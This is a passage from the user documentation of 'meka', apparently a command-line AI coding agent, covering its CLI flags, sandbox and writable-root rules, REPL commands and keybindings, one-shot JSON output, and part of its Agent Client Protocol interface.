level that is no longer in [permissions].enabled is not granted on resume: the session drops to
the configured default with a warning.
--writable-root <PATH>
Add a directory to the workspace, so writes may land there at workspace permission. Repeatable.
The working directory is always a root; this adds to it.
meka --permission workspace --writable-root ../shared-assets --writable-root /srv/build
Deliberately a flag rather than a config key: which folders this run may write is a per-run scope, like the working directory itself, not a preference to persist.
A path that does not resolve at startup is reported as a warning and kept, so a build directory that does not exist yet becomes a root the moment it does. A path that is not a directory, or a system directory the sandbox masks, is refused with a warning: neither can be expressed as a boundary by every backend.
The masked set is the filesystem root itself plus /proc, /dev, /sys, /run, /tmp and
/var/tmp, and /run/user and $XDG_RUNTIME_DIR as whole subtrees. A root is refused when it is
one of these and when it is an ancestor of one, but not when it is merely underneath: a root
under one of these is usually fine and refusing it would be a real loss, since
/run/media/$USER/drive is an ordinary external disk. The ancestor half is why --writable-root /var is refused, and it is also why --writable-root ~ is refused on WSL and on minimal window
managers, where $XDG_RUNTIME_DIR lives under $HOME and so binding $HOME would hand the session
bus back. /tmp and /var/tmp are in the set because
Bubblewrap masks them with a tmpfs and then binds the requested root back over it, last mount
winning: binding /tmp/work restores just that directory, but binding /tmp restores the entire
host /tmp including every X11, D-Bus and tmux socket in it, which is a route straight back out of
the sandbox. The cost is that a session started with cd /tmp has no write boundary, which is the
safe direction to fail.
The flag reaches the REPL, one-shot runs, and ACP sessions. It does not reach sessions created
through POST /v1/sessions, which are single-root by design, and therefore does not reach a
scheduled turn under meka serve either: those run in the session the job belongs to, which the
HTTP API created.
--sandbox-backend <BACKEND>
Pick the Linux sandbox backend for this run, landlock or bubblewrap. Wins over
MEKA_SANDBOX_BACKEND and [shell].sandbox_backend, and
like either of those, pinning a value suppresses the install-Bubblewrap warning the auto-pick
prints. Ignored on macOS and Windows.
meka --sandbox-backend landlock
--profile <NAME>
Select which configured profile a session runs on. Takes the name of a profile from
[profiles.<name>], overriding default_profile in the config file. The choice outlives the run:
on a new session it is what gets recorded, and on a resume it rewrites the row.
meka --profile work
The value is a profile name (e.g. work, personal), not an account or a backend. List configured profiles with meka profile list. There is no short form: -p is the prompt.
A new session records the profile it runs on, so meka -c later comes back on it rather than on
default_profile. Passing --profile alongside -c / -r repins the session: the row is
rewritten and it keeps that profile from then on. See
what a resume restores.
There is no
--model,--base-url,--thinkingor--thinking-budget. A profile is an indivisible bundle of an account, a model and every model-tied setting, and a session records which one it runs on rather than a rewritten copy. To change a setting, edit the profile withmeka profile set; to run something different, make a second profile and select it with--profile.
--no-stream
Disable streaming for this run. The agent waits for the complete response before displaying it. By default, responses are streamed token-by-token; display.stream is the persistent form. Applies to sub-agents as well.
meka --no-stream
--render-mode <RENDERER>
Markdown render mode. Accepts termimad (default), syntect, or raw.
syntect: Syntax-highlighted markdown source, including per-language code blocks. Nothing is reflowed, so a table with long cells runs past the terminal width.termimad: Rendered markdown, reflowed to the terminal: paragraphs re-wrap, wide tables wrap inside their box, and markers are consumed rather than shown. meka parses the CommonMark itself, so-/+bullets,__bold__,_italic_, ordered lists, and links all render. Colors come from the same theme assyntect, and fenced code blocks are syntax-highlighted by it.raw: Raw markdown printed verbatim with aligned tables.
termimad is the default: meka’s own output is table-heavy (task_list, scratchpad_list, anything the model tabulates), and those run past the right edge under syntect. Pick syntect when you want to see the markdown source as the model wrote it.
meka --render-mode raw
Can also be set permanently via display.render_mode in the config file.
--instructions <STRING>
Standing instructions for this run, replacing the instructions.md file and both MEKA_INSTRUCTIONS* environment variables. Takes the text itself, not a path; use "$(cat file.md)" to read one.
meka --instructions "Be terse. No code fences in answers."
--skill <NAME>
Invoke a skill as the first turn. Mirrors the REPL slash command /skill <name> [extra...]. -p, if given, is prepended to the rendered skill body as additional context. Pair with --oneshot to exit after the turn instead of opening the REPL.
meka --skill download-videos -p "https://example.com/video" # first turn, then REPL
meka --skill download-videos --oneshot -p "https://example.com/video" # first turn, then exit
Errors out with a clean message if the skill name is unknown.
--oneshot
Exit after the first turn finishes. Requires either -p or --skill <NAME>; without one of those, meka has nothing to do. Useful for scripts and CI invocations.
meka --oneshot -p "summarize the last commit"
meka --oneshot --skill deploy -p "to staging"
--format <FORMAT>
What a --oneshot run writes to stdout: plain (the default) streams the answer as text; json prints nothing during the turn and one object when it ends. See One-shot mode for the object’s fields. The flag applies to --oneshot alone; a run without it is refused. meka account usage, whoami and stats take the same flag and values, and meka session export --format takes markdown or json.
meka --oneshot -p "what changed?" --format json | jq -r .text
Every listing and show command takes the same --format plain|json: session list|show,
account list|usage|whoami|stats, profile list, mcp list|get|tools, schedule list|show,
memory list|get|show, tool list, history list and skill list|get|show. Under json, a
show prints one object and a listing prints {"<nouns>": [...]} (sessions, accounts,
profiles, servers, jobs, memories, tools, history, skills), with the field names the
HTTP API uses for the same object where it has one. An empty listing is the envelope around an empty array
and nothing on stderr; in plain, it is a No <nouns>. note on stderr and nothing on stdout.
Warnings and hints stay on stderr under either format, so meka … --format json 2>/dev/null | jq
sees only the document.
meka session list --format json | jq -r '.sessions[].id'
meka mcp get notion --format json | jq .url
--eager-load-tool <SERVER:TOOL>
Eager-load a specific MCP tool for this session, bypassing the load_tool round-trip. The tool’s schema ships in the cacheable tools-array prefix from turn 1 instead of being deferred. Mirrors the per-server eager_load_tools config field: repeatable, raw tool names (the server-advertised form, not mcp__<server>__<tool>).
Particularly useful for scripted runs that know up front which tools they’ll need. The flag appends to whatever eager_load_tools lists in config.toml for that server; it doesn’t replace existing entries. Unknown server names log a warning and are skipped.
meka --eager-load-tool notion:search --eager-load-tool github:create_issue \
--oneshot -p "search Notion for the deploy runbook and open a GitHub issue"
-v, --verbose
Increase log verbosity. Can be repeated up to three times.
meka -v # info
meka -vv # debug
meka -vvv # trace
-h, --help
Print help. -h is the summary; --help adds the longer prose under the flags that have it.
-V, --version
Print version.
Interactive mode
Start meka without --oneshot to enter interactive mode:
meka
You get a prompt:
meka ~/project [r] >
The path is the session’s working directory, shortened with ~; set display.show_path_in_prompt = false to drop it. Type your instruction and press Enter to submit. The agent processes your request and prints its response (streamed in real time as Markdown). When it finishes, you get another prompt.
Keybindings
meka uses Emacs-style keybindings (provided by reedline).
Input
| Key | Action |
|---|---|
| Enter | Submit the current prompt |
| Alt+Enter, Shift+Enter | Insert a newline (for multi-line input) |
| Shift+Tab | Cycle the permission level, skipping any not in [permissions].enabled (by default none → read → workspace → unrestricted → none) |
Navigation
| Key | Action |
|---|---|
| Ctrl+A | Move cursor to start of line |
| Ctrl+E | Move cursor to end of line |
| Ctrl+F | Move cursor forward one character |
| Ctrl+B | Move cursor backward one character |
| Alt+F | Move cursor forward one word |
| Alt+B | Move cursor backward one word |
| Up / Down | Recall the previous / next input from history |
Editing
| Key | Action |
|---|---|
| Ctrl+D | Delete character under cursor / exit on empty line |
| Ctrl+H, Backspace | Delete character before cursor |
| Ctrl+K | Kill text from cursor to end of line |
| Ctrl+U | Kill text from start of line to cursor |
| Ctrl+W | Kill word before cursor |
| Ctrl+Y | Yank (paste) killed text |
Control
| Key | Action |
|---|---|
| Ctrl+C | Interrupt the running agent (see Interrupting the agent); clear the line if idle |
| Ctrl+D | Exit the shell (when the line is empty) |
| Ctrl+R | Reverse incremental search through history |
| Ctrl+L | Clear the screen |
Input history
The prompts you type are saved to the store, so Up / Down and Ctrl+R recall what
you typed in any previous run. A brand-new meka, a resumed meka -c, and the current
session all share one history. Multi-line prompts are preserved intact, and only the most recent
entries are kept (older ones are pruned). This input history is separate from the conversation
shown by /history.
Prompt format
meka <path> [indicator] >
The indicator shows the current permission level:
| Level | Indicator | Color |
|---|---|---|
| None | [n] | Green |
| Read | [r] | Yellow |
| Workspace | [w] | Orange |
| Unrestricted | [u] | Red |
The color provides a visual cue about the agent’s current capabilities. Orange means the agent can modify your system inside the workspace roots; red means it can modify anything you can.
Multi-line input
Press Alt+Enter or Shift+Enter to insert a newline instead of submitting. Each continuation line is prefixed with ::: :
meka ~/project [r] > write a python script that
::: prints hello world
::: and saves it to hello.py
Press Enter on the last line to submit the entire multi-line input.
Pasting multi-line content also works seamlessly: all pasted lines appear in the buffer for review, and you press Enter to submit.
Slash commands
meka supports / prefix commands for controlling the shell. /help prints this table, with the
/mcp subcommands beneath /mcp and the three shortcuts below it. Every slash command writes to
stderr, beside the prompts and notices; the model’s answers stay on stdout.
| Command | Description |
|---|---|
/help (or /?) | Show this help message |
/exit (or /quit) | Exit the shell |
/clear | Clear the terminal screen |
/session | Show the current session id |
/permission [none|read|workspace|unrestricted] | Show or set the permission level |
/approvals [on|off] | Show or set whether calls above the level are submitted for approval |
/profile [name] | Show or change the profile this session runs on |
/compact [instructions] | Summarize and compact the session, optionally saying what to keep |
/rewind [N] | Drop the last N turns from the conversation (default 1) |
/export | Export the current session as Markdown |
/fork | Fork this session and continue in the copy |
/cd [path] | Change working directory (bare: back to where meka started) |
/skill [name] [extra...] | List skills, or invoke one with extra context |
/memory [name] | List saved memories, or show one by name |
/schedule [show <id> | cancel <id>] | List this session’s scheduled jobs, show one, or cancel one by id |
/task [show <id> | cancel <id|--all>] | List background tasks, show one, or cancel one by id |
/mcp <subcommand> | Manage MCP servers and prompts |
/mcp list | List configured MCP servers |
/mcp reconnect <server> | Reconnect smoke-test for one server |
/mcp login <server> | Run the OAuth flow for a server |
/mcp logout <server> | Clear stored credentials for a server |
/mcp <server>:<prompt> [args] | Render an MCP prompt as the next turn |
/status | Show the profile, model, context use and cumulative session stats |
/usage | Show account rate-limit usage (subscription backends) |
/history [N] | Reprint past conversation (bare = all, N = last N turns) |
Some of the grammar the table compresses: a bare /mcp is /mcp list, and the listing shows each
server’s live state (pending / connected / failed / disabled); /task cancel all is
accepted for --all; /schedule cancel, /task cancel and the two shows take an id or any
unique prefix; /cd ~ still goes home; /export writes session-<id>.md in the working directory
and prints where it landed; /skill <name> prepends anything typed after the name to the skill body;
/memory lists memories most important first.
Press Tab after typing / to open a completion menu of command names, each shown with its description; keep typing to narrow it (/comp + Tab completes to /compact). Tab also completes arguments: permission levels for /permission, on/off for /approvals, configured profile names for
/profile, installed skill names for /skill, the subcommands and configured servers for /mcp, and directory paths for /cd (Tab again after a completed directory drills into its subdirectories). The leading command token is colored as you type: green when it names a known command, red when it does not.
/history
Replays prior messages in the current session so you can scroll back through context without exiting and re-resuming. /history with no argument dumps every materialized message; /history 5 shows the last 5 turns (a turn = the user’s prompt plus everything the agent did to respond). Any non-numeric argument (/history all, /history foo) falls back to the dump-everything path.
The renderer mimics the live REPL: assistant text flows through the same markdown highlighter, tool calls honor display.tool_params (by default a one-line [tool read_file(...)] indicator), and thinking blocks honor [thinking].show_content, rendered by the same renderer the live turn streams into so a replayed block looks like the one you watched arrive. User prompts are prefixed with a cyan > so they stand out from agent text.
One difference: a call to a tool from an MCP server replays as a bare [tool name], without the argument it showed live. Which of a tool’s arguments is the one worth showing comes from its JSON Schema, which the server publishes at connect time and the conversation does not store; meka knows its own tools’ arguments from their names alone, so those replay in full.
For users who always want extra context at resume time, set display.resume_show_recent; the resume code path then renders the last N turns through the same function.
/status
Print the session’s resolved model parameters followed by its cumulative counters:
Session status
Profile: work
Account: anthropic (claude-subscription)
Model: claude-opus-4-8
Context: 128.4k / 1.0M (13% used, 871.6k left)
Effort: xhigh
Thinking: adaptive
Turns: 23
Compactions: 2
Input tokens: 234.5k (cache hit: 92%)
Output tokens: 12.1k
Redactions: 2 (12 images, ~38.0 MiB freed)
Messages: 47
The top block reports what the session actually resolved to, in the order
[profiles.<name>] declares the same
fields, so the two can be read side by side: the Profile with its account and backend, the Model, the
Context window, the reasoning Effort sent on the wire (omitted when nothing is sent, so the
provider applies its own default; claude-subscription sends high when the profile sets none),
and the Thinking mode. The rest are cumulative counters for the session.
Context is the live context-window occupancy: the total tokens of the most recent exchange (all input tiers plus output, i.e. what the next request re-sends minus your new prompt), against the active model’s context window, with the percent used and tokens remaining. Use it to decide whether to /compact before continuing; after /compact it drops to the compacted size immediately. It reflects this session only; sub-agents spawned via agent_spawn have their own context and are not counted (a sub-agent’s returned result is counted only once it lands in this session as a tool result). It is shown from the start, at 0 / <window> before the first turn, since the window is your context_window setting (or the documented default) and this is where you confirm it took effect; it is omitted only when the window is unknown. Set display.show_context_in_prompt to show the same gauge in the prompt itself.
Input tokens (and the other cumulative counters) is the total billed across every turn of the whole session. These totals are persisted, so resuming a session with meka -c continues them rather than restarting at zero.
Compactions is how many times the conversation has been summarized, whether automatically, by /compact or at the agent’s request. It is counted from the session’s history, so it survives a resume, and each one puts the earliest detail one more summary away from the original.
cache hit is the share of input tokens served from the prompt cache rather than re-sent at full price, on every backend that reports one (Anthropic’s cache tiers, OpenAI’s cached_tokens). It should climb and stay high: meka keeps everything that changes mid-session out of the cached prefix, so a steady session re-reads the cache instead of rewriting it. The figure is arithmetic as much as it is health: every new token (a tool result, the model’s own reply) is written to the cache once and read on each later request, so the session-wide share starts at zero, passes 90% around the fifteenth request (each tool call is a request) and keeps climbing from there; a low figure on a short session is not a miss. Expect it to drop once after a /compact (which rewrites the head of the conversation) and to recover on the following turns.
Redactions reports any times an Anthropic backend had to drop the oldest tool-result image blocks because the request body would have exceeded the profile’s max_request_bytes (30 MiB by default, held under Anthropic’s own 32 MiB limit). A non-zero count indicates the cache prefix was invalidated for the redacted messages. See display.show_token_usage for a per-turn variant of the same data.
/usage
Fetch the account’s current rate-limit usage from the account the session’s profile bills and print each rolling window with its percentage used and reset time:
Account usage
5-hour (session) [#---------] 8% used (resets in 4h 12m, 2026-07-02 02:10 +02:00)
Weekly [----------] 2% used (resets in 22h 50m, 2026-07-02 13:00 +02:00)
This is distinct from /status, which reports this session’s own token counters. /usage queries the upstream service for your whole-account subscription limits. It works only for the two subscription backends, which expose a usage endpoint (claude-subscription’s 5-hour and weekly windows; chatgpt-subscription’s primary/secondary windows plus plan and credit balance). For an API-key backend it prints a short note that usage is not available there instead. The same command is available under ACP.
/compact
The /compact command asks the LLM to summarize the entire conversation, then replaces the messages the model sees with a single summary message followed by the recent tail. This is useful for long sessions that are approaching the context window limit or becoming expensive.
After compacting, the session continues with the summary as context. The pre-compaction messages are never deleted: they stay in the underlying event log on disk (the model just no longer sees them). meka session export walks that full log, so an export always contains the entire conversation including the compacted-away turns, with a marker at each compaction point.
/rewind
/rewind drops the most recent turn from the conversation, so the model no longer sees it or your prompt that started it. /rewind N drops the last N. The cut always lands on a turn boundary, so a tool call is never separated from its result. A compaction summary opens a turn of its own, so rewinding past everything after a compaction takes the summary with it and leaves the conversation empty; the turns it replaced stay behind the boundary on disk.
Like /compact, nothing is deleted: the dropped turns stay in the event log on disk, and meka session export still shows them with a marker where the rewind happened.
Use it to take back a prompt that sent the agent down the wrong path without paying for a summary, or to recover a session the provider has started rejecting. meka repairs a rejection it causes itself (see below), but content that entered the conversation earlier is out of its reach; rewinding past it is the way back. meka session rewind <id> does the same to a session you are not currently in.
Recovering from a rejected message
Providers validate the whole conversation on every request, so one piece of content they reject would otherwise fail every later turn as well, permanently. When that happens, meka strips the offending content from what it added this turn, retries once, and hands the model the provider’s own complaint as a failed tool result so it can adapt rather than silently losing the data. If the retry is rejected too, the original content goes back untouched and the turn reports the provider’s error.
A mislabeled image already committed to the session is repaired when you resume it, without a provider round trip. For anything further back, use /rewind.
Recovering from a call that got no answer
A refusal is one thing the provider says; a request that never got a usable reply at all is another. A connection that fails or is reset while the request is going out is retried with backoff (up to twice, waiting 1s then 2s), and so is a response body that could not be read back. The turn continues as if the failed attempt had not happened, and nothing about it enters the conversation. Only when the retries run out does the turn report the error.
Worth knowing what a retry can cost. When the failure was a body that could not be read, the provider had already generated the response and billed you for it, so the retry pays a second time. meka does it anyway, because the alternative is losing the turn for content you have already been charged for once, but it is not free.
Two failures are not retried, because the next attempt is known not to be worth making: a request meka could not build, and a URL that redirects in a loop. A redirect loop points at a misconfigured base_url; a request that could not be built points at whatever went into it, most often a base_url that is not a URL or a stored credential carrying a character that cannot go in a header.
Retrying is bounded by time as well as by count, and the time bound is the one that usually decides. A failure that takes the full idle timeout to arrive costs five minutes, which spends the whole budget, so a stream that hung is reported rather than tried again: retrying is for a failure that was cheap, and a provider that went silent for five minutes has already taken more of your turn than a second silence is worth. Without the bound at all, three slow failures would be fifteen minutes of waiting on a turn that fails anyway.
The bound stops a new attempt starting rather than capping the total, so the worst case is a failure arriving just under the five minutes and permitting one more full-length attempt after it, for about ten in total.
/fork
/fork copies the current session and switches you into the copy, printing its id. Your conversation carries over untouched, so the branch happens exactly where you are; the original stops there and keeps everything up to that point.
Use it before trying a direction you might want to back out of, or before /compact if you’d rather keep the uncompacted conversation around. To go back, exit and resume the original with meka -r <old-id>.
The copy is a fully independent session with no link back to its source. (/fork only ever runs
against the session you are in, which is never a sub-agent, so the sub-agent case below cannot arise
here.) See Forking a session for exactly what it carries.
Shell escape
Prefix any input with ! to execute it directly as a shell command, bypassing the LLM entirely:
meka ~/projects [r] > !pwd
/home/user/projects
meka ~/projects [r] > !ls -la
total 32
drwxr-xr-x 5 user user 4096 Mar 4 10:00 .
...
meka ~/projects [r] > !ping 1.1.1.1 -c 2
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
...
The command runs with inherited stdin/stdout/stderr, so it behaves exactly like a regular shell. This is useful for quick checks without waiting for the LLM.
Exiting
You can exit meka in any of these ways:
- Type
/exitor/quit - Type
exitorquit - Press Ctrl+D on an empty line
Interrupting the agent
Press Ctrl+C while the agent is running to interrupt it. Presses escalate:
- The first press cancels the current turn: the request in flight is dropped and any shell command the turn spawned is killed. Background tasks keep running, because a keystroke aimed at the answer on screen should not lose a twenty-minute build.
- A second press during the same turn stops every running background task, records each as canceled, and says how many it stopped.
- A third press prints
(interrupted), gives the canceled work up to two seconds to unwind, and exits with status 130.
The count starts over with each new turn, so the first press of the next turn cancels that turn whatever happened during the last one, and it ends with the turn: a press during a wait that is not a turn (/usage, a stuck /mcp reconnect) starts a count of its own from the first step. At an idle prompt Ctrl+C clears the line instead.
One-shot mode
One-shot mode runs a single prompt and exits, similar to bash -c. It takes --oneshot and the
prompt through -p:
meka --oneshot -p "your prompt here"
git diff | meka --oneshot -p - # `-p -` reads the prompt from stdin
The agent processes the prompt (including any tool calls), prints its response, and the process terminates. The session id is printed to stderr on exit. A run interrupted with Ctrl+C exits 130, whatever it had printed by then.
A prompt without --oneshot is not a one-shot run: it seeds the first turn and then leaves you at the REPL prompt, which is the right default when you are working interactively and the first thing you want is already in your shell history.
--oneshot requires something to do, so it needs -p or --skill.
An empty or whitespace-only prompt is refused rather than sent.
Approvals have nothing to ask from here: there is no prompt to answer, so with the switch on every tool that needs approval is refused. meka says so once at startup and names each tool as it is refused, but the run is still less useful than it looks. Give a non-interactive run the level it needs with --permission, or use meka serve if you need a human in the loop over an API.
Examples
# Simple question
meka --oneshot -p "what is my current working directory?"
# File operations (requires workspace permission)
meka --oneshot --permission workspace -p "create a file called notes.txt with today's date"
# Search
meka --oneshot -p "find all TODO comments in this project"
# Web page
meka --oneshot -p "summarize https://blog.rust-lang.org"
Combining with other flags
All configuration flags work in one-shot mode:
# Use a specific profile
meka --oneshot --profile work -p "explain this codebase"
# With workspace permission
meka --oneshot --permission workspace -p "run 'cargo test' and summarize the results"
# Disable streaming
meka --oneshot --no-stream -p "read README.md and summarize it"
# Run one turn against an existing session
meka --oneshot -r 550e8400 -p "summarize what we decided"
JSON output
--format json keeps stdout empty during the turn and prints one object when it ends, so a script
reads the whole turn at once rather than parsing a stream. Errors still go to stderr and the exit
code; no object is printed for a turn that failed. A turn interrupted with Ctrl+C is reported, not
failed: its object is printed with stop_reason set to interrupted, and the run exits 130 as it
does without --format json.
meka --oneshot -p "how many files are here?" --format json
{
"session_id": "550e8400-e29b-41d4-a716-446655440000",
"profile": "work",
"stop_reason": "end_turn",
"text": "There are 14 files in this directory.",
"tool_calls": [
{ "name": "find_files", "input": { "glob": "*" }, "is_error": false }
],
"usage": {
"input_tokens": 1180, "output_tokens": 42,
"cache_creation_input_tokens": 0, "cache_read_input_tokens": 1024
},
"notices": [
{ "level": "warn", "text": "approvals are on but nobody can answer here, so 'execute_command' was refused without asking" }
]
}
stop_reason is end_turn, max_tokens, refusal (with refusal_text beside it when the model
gave one) or interrupted. session_id is omitted, not null, for a turn interrupted before the
session existed, which is the one way a run prints a report without one; every other field is always
present. text is the assistant’s text with the rounds joined by a blank line,
tool_calls lists every call in the order it was dispatched, and usage sums the rounds. notices
is what meka itself said during the turn (a refused approval, a lost write, a declined MCP
elicitation), each with
a level of info or warn and its text; it is empty when meka raised none. The flag applies to
--oneshot alone; a run without it is refused. meka account usage, whoami and stats take the
same flag and values, and meka session export --format takes markdown or json.
Session behavior
One-shot mode creates a new session for each invocation, unless you point it at an existing one with -c (most recent) or -r <SESSION> (specific). Those run a single turn against that conversation and exit, which is the usual shape for scripting against a session built up earlier.
The session id is printed to stderr when the run completes:
Leaving session: 550e8400-e29b-41d4-a716-446655440000
You can resume this session later in interactive mode:
meka -r 550e8400-e29b-41d4-a716-446655440000
Piping
The answer goes to stdout and everything else to stderr, so meka -p … 2>/dev/null | next-tool
hands the next tool only what you asked for. That holds for every command, not just this one.
A reader that stops reading is its own decision, and meka exits 0 for it:
meka -p "summarize this log" | head -20 # exits 0; head got its lines
A stdout that cannot take the answer is a different thing, and fails the run:
meka -p "summarize this log" > /full/disk # exits non-zero, and says why on stderr
The distinction matters in a script: the first is how pipelines end, the second is data you asked for and did not get.
ACP (Agent Client Protocol)
meka acp speaks the Agent Client Protocol over stdio so editor / web / messenger clients can drive a meka turn end to end. Where Interactive mode and One-shot mode are for humans, ACP is for programs that want to host meka inside a richer UI: streamed diffs, native apply-buttons, hosted terminals, and slash-command palettes.
This page describes what meka’s ACP surface looks like to a client. Editor-specific setup belongs in each editor’s own documentation; the protocol contract is the same everywhere.
Starting an ACP server
meka acp
The process speaks JSON-RPC 2.0 with newline framing on stdio. There is no human-facing prompt; the binary is meant to be spawned by a client that owns the conversation. The client sends initialize, then session/new (or session/load / session/resume), then a series of session/prompt calls.
A few flags are worth knowing:
| Flag | Effect |
|---|---|
-v | Logs to stderr at info (incoming client identity, session lifecycle). |
-vv | debug (per-request JSON-RPC diagnostics). |
RUST_LOG=meka=trace | Trace level. |
Two flags are refused rather than ignored: -c and -r. Both name one run’s session, and this host creates one per session/new, each naming its own profile. A new session starts on the host’s default; move it with session/set_config_option, and session/load restores whichever profile a session already recorded. --profile is accepted, since it selects which configured profile a session gets when it names none, which is a property of the connection rather than of one session.
On startup, after the client’s initialize arrives, meka logs ACP client connected: <name> <version> so you can confirm the client identity under -v.
What meka advertises (agentCapabilities)
These are returned in InitializeResponse.agentCapabilities:
loadSession: true: the client may callsession/loadwith any persisted session id.sessionCapabilities.list: the client may callsession/listto browse the persisted session catalog (cwd-filtered, cursor-paginated; sub-agent audit sessions are hidden).sessionCapabilities.resume: the client may adopt a persisted session id without replaying history.sessionCapabilities.fork: the client may branch a copy off a persisted session (see Forking). Unstable in the protocol.sessionCapabilities.close: the client may release the active session slot.sessionCapabilities.additionalDirectories: the client may send extra workspace roots onsession/new,session/load, andsession/resume(see Multi-root workspaces).promptCapabilities.embeddedContext: true: the client may inline @-mentioned file contents as embeddedresourceblocks (see Prompt turn).promptCapabilities.image: follows the process default profile’svisionflag (defaulttrue; setvision = falsein[profiles.<name>]for a text-only model). Per connection rather than per session, becauseinitializeis answered before any session exists. Whether a givensession/promptaccepts an image block is decided per session from the profile that session runs on, so a session moved onto a text-only profile refuses attachments even on a connection that advertisedimage.
mcpCapabilities is intentionally not advertised. meka is itself an MCP client, but the servers it consumes are configured via meka’s own config.toml rather than the mcpServers field on session/new. Advertising HTTP/SSE while silently ignoring the client’s array would have been misleading; the marker will return when client-supplied MCP server connections are actually implemented.
agentInfo carries meka’s name ("meka") and the running binary version.
What meka consumes (clientCapabilities)
The client advertises these in InitializeRequest.clientCapabilities; meka stashes them and lets the built-in tools route accordingly:
fs.readTextFile: true:read_fileissuesfs/read_text_file { sessionId, path, line?, limit? }so the client serves the in-buffer view of the file. Image and regexread_filemodes have nofs/*analog and stay local.fs.writeTextFile: true:write_fileandedit_file’s apply step issuefs/write_text_file { sessionId, path, content }. meka still attaches diff metadata to thetool_call_updateso clients with an apply-diff UI can render it.terminal: not consumed. It means “I implementterminal/*”, i.e. the agent may run commands in the client, which meka never does. See Shell commands stay inside meka._meta.terminal_output: true: the client renders agent-owned terminals, soexecute_commandoutput is streamed into a real terminal instead of a code block. A rendering choice only: meka still spawns and sandboxes the process either way. Advertised by Zed; independent of theterminalcapability above.elicitation.form/elicitation.url: when an MCP server asks the user for input mid-tool-call, meka issueselicitation/createso the prompt renders in the editor. The two are advertised independently and checked separately: a server asking for a form when onlyurlis advertised is declined rather than sent. Without the capability meka declines every elicitation, which is what it did unconditionally before. Elicitations raised inside a sub-agent forward to the parent session, like permission prompts.
If the client omits a capability, the matching tool falls back to local syscalls; the user-visible behavior is the same as meka in the REPL.
Shell commands stay inside meka
execute_command never runs in the client’s terminal, whatever the client advertises and whatever the permission level. meka spawns the process itself so everything it wraps a command in keeps applying: the sandbox that read and workspace depend on (Landlock / bwrap / sandbox-exec / restricted token), the environment scrub that keeps API keys out of the child, the per-session cwd from /cd, the timeout, and the process-group kill that reaches backgrounded grandchildren. The client’s terminal/* offers none of that.
meka used to delegate in any level other than read, which made every sandboxed level a bypass: meka would refuse to run at all when no sandbox backend was available, then hand the same command to an unsandboxed editor terminal. Delegation is gone rather than narrowed, so workspace keeps its boundary here exactly as it does in the REPL.
Live output
Because meka owns the process, it streams the output: while a command runs, what it has printed so far is pushed into the open tool call, so an editor shows a build or a test run progressing instead of a spinner. Updates are coalesced to at most one per 150 ms. stdout and stderr are interleaved in the live view, the way a terminal shows them, while the result the model sees keeps them separated.
How that output is drawn depends on the client:
Clients advertising _meta.terminal_output get an agent-owned terminal. meka announces one on the tool call, appends each chunk to it as it arrives, and closes it with the command’s real exit code and signal. The client renders a genuine terminal: ANSI color, selection, full scrollback, and an expandable view in the tool call. meka still spawns and sandboxes the process; the client only draws the bytes it is handed. Nothing is executed on the client side, and no terminal/* request is ever sent.
Everything else gets a console code block, replaced on each update with a trailing window of the output. The complete output arrives in the final update when the command exits.
The terminal path uses an extension rather than ACP proper: _meta.terminal_info to announce the terminal (on the opening tool_call, which is where clients read it), _meta.terminal_output to append, _meta.terminal_exit to close it with the command’s real exit code. The convention comes from codex-acp, claude-agent-acp emits the same shape, and Zed consumes it, advertising _meta.terminal_output: true to say so. Gating on that key rather than on terminal matters: a client that implements terminal/* but not these frames cannot resolve the terminal, and would render nothing at all for it.
This is deliberately temporary. ACP v2 standardizes agent-owned terminals as terminal_update / terminal_output_chunk, and meka should move to those once a client implements them; v2 is still a draft schema (v2.0.0-alpha.N, behind an off-by-default feature flag) that nothing speaks yet.
When the client won’t serve a path
Editors differ in which paths they will serve: Zed answers only for the project it has open, another client may serve any absolute path. meka models none of these rules. It asks per path and routes on the answer:
ResourceNotFound(-32002) means the client will not serve this path, so it holds no buffer for it. meka reads or writes the file locally, and a write says so in the tool result: the change still appears in that tool call’s diff, but not in the editor’s buffer or undo history. This is what keeps ACP as capable as the terminal: the agent can read and edit its own skills, prompts, and configuration even though they live outside the project.- Any other error means the client may own the file and hold unsaved changes for it, so the tool call fails instead of routing around the client. Reading on-disk bytes would hand the model a stale view of a file the user is editing, and writing them back would overwrite unsaved work.
The route is chosen once per tool call by the read, not per request: edit_file and write_file write back through whichever filesystem they read from, so a diff taken from the editor’s buffer isn’t applied to disk while the buffer keeps the old content. The read is also the more reliable signal: Zed reports an out-of-project path as ResourceNotFound on fs/read_text_file but as a generic error on fs/write_text_file, so a route chosen from the write’s own error would never recognize it.
One case can’t honor that: a client advertising fs.readTextFile but not fs.writeTextFile reads for meka and expects meka to do the write, so the edit lands on disk while the client still holds a buffer for the file. The tool result discloses that too, with its own note.
Session lifecycle
meka holds an in-memory map of sessionId → SessionEntry. Any number of sessions can coexist in one meka acp process, each with its own cwd, permission level, conversation, cancellation token, and per-session runtime mutex. Prompts on different sessions run in parallel; a second session/prompt for a session that already has one in flight is refused with InvalidParams. The session row is also locked on disk (the same lock the REPL uses), so two meka processes can’t simultaneously write events for the same session id.
An unknown sessionId, a session another meka process holds, a sub-agent’s id, a turn over the profile’s max_request_bytes and a profile config.toml no longer has are all refused with InvalidParams; InternalError is reserved for faults in meka or below it.
What an InternalError’s data carries follows the same policy the HTTP API applies to a failed turn, so a deployment cannot have one surface withhold what the other publishes:
-
The provider’s own response text travels only when
[serve] relay_provider_errorsis on, which is the default. It can name the operator’s account with the provider and its rate-limit posture; turn the key off anddatacarries meka’s sentence alone. Relayed text is capped at 4 KiB with the cut marked, and the full text goes to the meka log either way. -
An MCP server’s connection reason never travels. The server names do, since that is the part to act on; the reason is meka’s own subprocess text and has carried a command line and its path.
-
A store or filesystem failure, and a
[web]/base_urlmisconfiguration, never travel: they name meka’s own directories or the operator’s config.datasays where the detail went. -
session/new { cwd, mcpServers }: mints a fresh persisted session, captures the cwd, takes the on-disk session lock, returns the session id and the currentSessionModestate.mcpServersis ignored, with a warning naming how many entries were dropped; meka’s servers come fromconfig.toml. On this and every other door,cwdmust be an existing directory and is recorded in its canonical spelling (symlinks resolved), the rule the REPL’s/cdand the HTTP API apply too; anything else isInvalidParams. -
